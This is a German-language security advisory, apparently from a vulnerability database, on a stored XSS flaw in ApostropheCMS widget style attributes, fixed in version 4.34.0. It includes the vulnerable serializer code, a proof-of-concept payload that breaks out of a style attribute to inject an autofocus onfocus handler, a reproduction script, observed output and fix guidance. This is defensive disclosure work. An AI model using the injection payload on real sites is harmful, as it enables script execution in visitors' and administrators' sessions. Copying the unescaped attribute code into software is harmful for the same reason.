ApostropheCMS: Gespeichertes XSS über nicht maskierte Serialisierung von Widget-Stilattributen
Zusammenfassung
Widget-Stile in ApostropheCMS unterstützen projektdefinierte Schemafelder. Wenn ein Projekt ein Freiform-string-Stilfeld mit einer CSS-property und ohne Selektor definiert, wird ein vom Bearbeiter kontrollierter Wert als Inline-CSS-Deklaration gerendert. Die resultierende Deklaration wird anschließend ohne HTML-Attribut-Escaping in das style="..."-Attribut des Widget-Wrappers eingefügt.
Ein Angreifer, der das Widget bearbeiten kann, kann ein doppeltes Anführungszeichen in den Stilwert einfügen, das style-Attribut vorzeitig beenden und neue HTML-Event-Handler-Attribute einschleusen. Die Nutzlast wird mit dem Widget gespeichert und im Ursprung (Origin) der Apostrophe-Website ausgeführt, sobald die betroffene veröffentlichte Seite gerendert wird.
Dies ist eine Schwesterlücke zu CVE-2026-33889 / GHSA-97v6-998m-fp4g. Bei der früheren Schwachstelle gelang der Ausbruch aus einem <style>-Element über einen bösartigen Farbwert. Diese Variante erreicht eine andere Senke (Sink), die sich auf die automatisch generierten Inline-Attribute style und class des Widget-Wrappers bezieht.
Details
Ursache 1: Freiform-String-Stilwerte behalten HTML-Metazeichen bei
Der Standard-String-Feldkonverter verwendet launder.string() und eine Längenvalidierung. Dies führt eine Typnormalisierung durch, jedoch keine Ausgabekodierung für den Kontext eines HTML-Attributs:
packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333
self.addFieldType({
name: 'string',
// ...
convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
destination[field.name] = checkStringLength(
destination[field.name],
field.min,
field.max
);
}
});
Anführungszeichen bleiben daher in einem Wert erhalten, der über ein Stilfeld übergeben wird.
Ursache 2: Der Wert wird ohne Validierung in Inline-CSS umgewandelt
Für ein Feld mit property, aber ohne selector oder Media-Query, wählt renderScopedStyles() das Inline-Rendering. Der generische Extraktor verkettet die konfigurierte Eigenschaft und den vom Bearbeiter kontrollierten Wert:
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647
rule = `${property}: ${normalized.value}${normalized.unit}`;
// ...
if (isInline) {
return {
css: '',
classes: [ ...storage.classes ],
inline: stringifyRules(storage.styles, true)
};
}
Beispielsweise wird der folgende Wert Teil einer font-family-Deklaration:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Ursache 3: Attributwerte werden ohne HTML-Escaping serialisiert
getWidgetAttributes() platziert das Inline-CSS in ein Attribut-Tupel und verkettet jedes Tupel zu key="value", ohne &, <, >, ' oder " zu maskieren:
packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322
if (styleParts.length) {
attrs.push(
[ 'style', `${styleParts.join(';')};` ]
);
}
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => `${key}="${value}"`)
.join(' ');
Der gleiche Raw-Serializer macht auch einen projektdefinierten Freiform-string-Stil mit class: true zu einem potenziellen Pfad, da der String zu classes hinzugefügt und später in class="..." serialisiert wird. Der Inline-Eigenschaftspfad war der dynamisch verifizierte Pfad.
Ursache 4: Der unsichere String wird vom automatischen öffentlichen Wrapper verwendet
Gestylte Widgets verwenden getWidgetAttributes(), um einen Wrapper um das gerenderte Widget zu erzeugen:
packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457
if (hasStyles && self.options.stylesWrapper !== false) {
const styles = self.apos.styles.prepareWidgetStyles(widget);
const styleTag = self.apos.styles
.getWidgetElements(styles, { scene: req.scene });
const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);
return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
Folglich ist das injizierte Attribut bei regulären öffentlichen Seitenaufrufen vorhanden, nicht nur in der Benutzeroberfläche des Editors.
Warum die Schutzmaßnahme CVE-2026-33889 diese Variante nicht verhindert
Die Schwesternachricht führte zu einem Schutz in getWidgetElements(), der </ umschreibt, bevor CSS in ein <style>-Element eingefügt wird:
css = css.replaceAll('</', '<\\/');
Dies schützt die Begrenzung des Style-Elements. Der oben beschriebene verwundbare Pfad erzeugt stattdessen eine inline-Ausgabe anstelle von css, sodass dieser Ersetzungsschritt nicht erreicht wird.
Betroffene Konfigurationen und Versionen
Die verifizierte Konfiguration erfüllt alle folgenden Eigenschaften:
- Ein Widget definiert ein Stilfeld mit einem Freiformtyp wie
string. - Das Feld verwendet
propertyohne Selektor, was zu einem Inline-Style-Rendering führt, oder verwendetclass: truemit einem uneingeschränkten String-Wert. - Der Angreifer besitzt die Berechtigung, ein Widget zu bearbeiten, das dieses Feld enthält.
- Der bösartige Inhalt wird veröffentlicht oder ein höher privilegierter Benutzer betrachtet den betroffenen Entwurf.
Standard-Voreinstellungen für Range, Select und Color stellen nicht direkt uneingeschränkte Anführungszeichen bereit und wurden für diese Variante nicht als betroffen nachgewiesen.
Proof of Concept
Schritt 1: Konfigurieren eines Widgets mit einem Freiform-Inline-Stil
Fügen Sie einem Widget-Modul ein Stilfeld ähnlich dem folgenden hinzu:
module.exports = {
extend: '@apostrophecms/widget-type',
options: {
label: 'Style Attribute Test'
},
styles: {
add: {
customFont: {
type: 'string',
label: 'Custom Font',
property: 'font-family'
}
}
}
};
Das Fehlen von selector führt dazu, dass die generierte Deklaration als Inline-Stil gerendert wird.
Schritt 2: Speichern der Nutzlast
Geben Sie als Benutzer, der dieses Widget bearbeiten darf, folgenden Wert in customFont ein und speichern Sie das Widget:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Veröffentlichen Sie die Seite oder lassen Sie einen anderen Benutzer den betroffenen Entwurf ansehen.
Schritt 3: Ausgabe des Renderers direkt reproduzieren
Der verwundbare Datenfluss kann auch direkt mit dem echten Renderer und Serializer aus einem ausgecheckten Repository mit installierten Abhängigkeiten reproduziert werden:
const methodsFactory = require(
'./packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);
(async () => {
const { renderScopedStyles } = await import(
'./packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
);
const payload =
'serif" tabindex="0" autofocus ' +
'onfocus="document.body.dataset.inline=\'executed\'';
const styles = renderScopedStyles(
[ {
name: 'customFont',
type: 'string',
property: 'font-family'
} ],
{ customFont: payload }
);
Object.assign(styles, {
styleId: 'audit-inline',
widgetId: 'widget-1'
});
const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
console.log('inline:', styles.inline);
console.log('attributes:', attrs);
})();
Schritt 4: Unsicheres HTML beobachten
Der aktuelle Renderer erzeugte:
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
Der Serializer erzeugte daraufhin einen Attribut-String, der folgendem entspricht:
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"
Das vom Angreifer kontrollierte Anführungszeichen beendet das Attribut style. tabindex, autofocus und onfocus werden zu separaten, aktiven Attributen.
Schritt 5: Ausführung im Browser bestätigen
Als der generierte Wrapper in Chrome 153 geladen wurde, löste Autofokus den eingeschleusten Handler automatisch aus. Das DOM veränderte sich zu:
<body data-inline="executed">
<div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>
Das sichere Verhalten bestünde darin, dass das Anführungszeichen als " innerhalb des style-Attributs maskiert wird, ohne dass Attribute injiziert werden oder sich document.body.dataset ändert.
Auswirkungen
- Gespeichertes XSS auf veröffentlichten Seiten: JavaScript wird bei nicht authentifizierten Besuchern ausgeführt, die eine Seite mit dem betroffenen Widget laden.
- Rechteausweitung: Wenn ein Administrator oder ein anderer privilegierter Bearbeiter die Seite oder den Entwurf aufruft, wird die Nutzlast mit den Ursprungsrechten dieses Benutzers ausgeführt und kann authentifizierte Aktionen des Opfers durchführen.
- Persistente Inhaltsmanipulation: Die Nutzlast wird zusammen mit dem Widget-Inhalt gespeichert und weiterhin ausgeführt, bis der Stilwert entfernt oder der Ausgabepfad korrigiert wird.
- Phishing und Datenzugriff: Das Skript kann die dargestellte Seite verändern, Non-HttpOnly-Daten desselben Ursprungs auslesen und Same-Origin-Anfragen im Namen des Opfers stellen.
Empfohlene Behebung
Behebung 1: HTML-Escaping aller Attributwerte, die Strings zurückgeben
Der String-Zweig von getWidgetAttributes() sollte Werte vor der Verkettung für den Kontext doppelt quotierter HTML-Attribute kodieren. Mindestens sollten &, <, >, " und ' über einen zentralen Apostrophe-HTML-Encoder kodiert werden.
Konzeptionell:
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => {
return `${key}="${escapeHtmlAttribute(String(value))}"`;
})
.join(' ');
Der strukturierte Zweig asObject sollte strukturiert bleiben, damit der zuständige Template-/DOM-Renderer die kontextgerechte Kodierung durchführen kann.
Behebung 2: Stilwerte anhand der Zielgrammatik validieren
Die Ausgabekodierung ist die primäre Behebungsmaßnahme. Als Defense-in-Depth-Maßnahmen:
- Erzwingen von Select/Range/Color oder anderen eingeschränkten Typen für gängige CSS-Eigenschaften.
- Parsen und Validieren von Freiform-CSS-Eigenschaftswerten, anstatt sie als beliebige Zeichenketten zu behandeln.
- Für
class: truenur einzelne gültige Klassennamen-Tokens anstelle beliebiger Strings akzeptieren.
Was zu tun ist
Aktualisieren Sie das Paket apostrophe auf Version 4.34.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | apostrophe | < 4.34.0 | 4.34.0 |
Verweise
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-7jg5-frgc-c67w
- https://nvd.nist.gov/vuln/detail/CVE-2026-112958
- https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498
- https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.34.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Schwäche (CWE)
CWE-79- Plattform
- npm
- Paket
apostrophe- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 21.10.2026 20:23
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-7jg5-frgc-c67w - CC BY 4.0
Schwachstellenhistorie: apostrophe
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 33
- Erste → letzte
- 09.2020 10.2026
- Ohne Fix
- 4
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 9
- Mittel 18
- Niedrig 4
Veröffentlichungen pro Jahr
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 29
-
ApostropheCMS: Gespeichertes XSS über nicht maskierte Serialisierung von Widget-Stilattributen dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.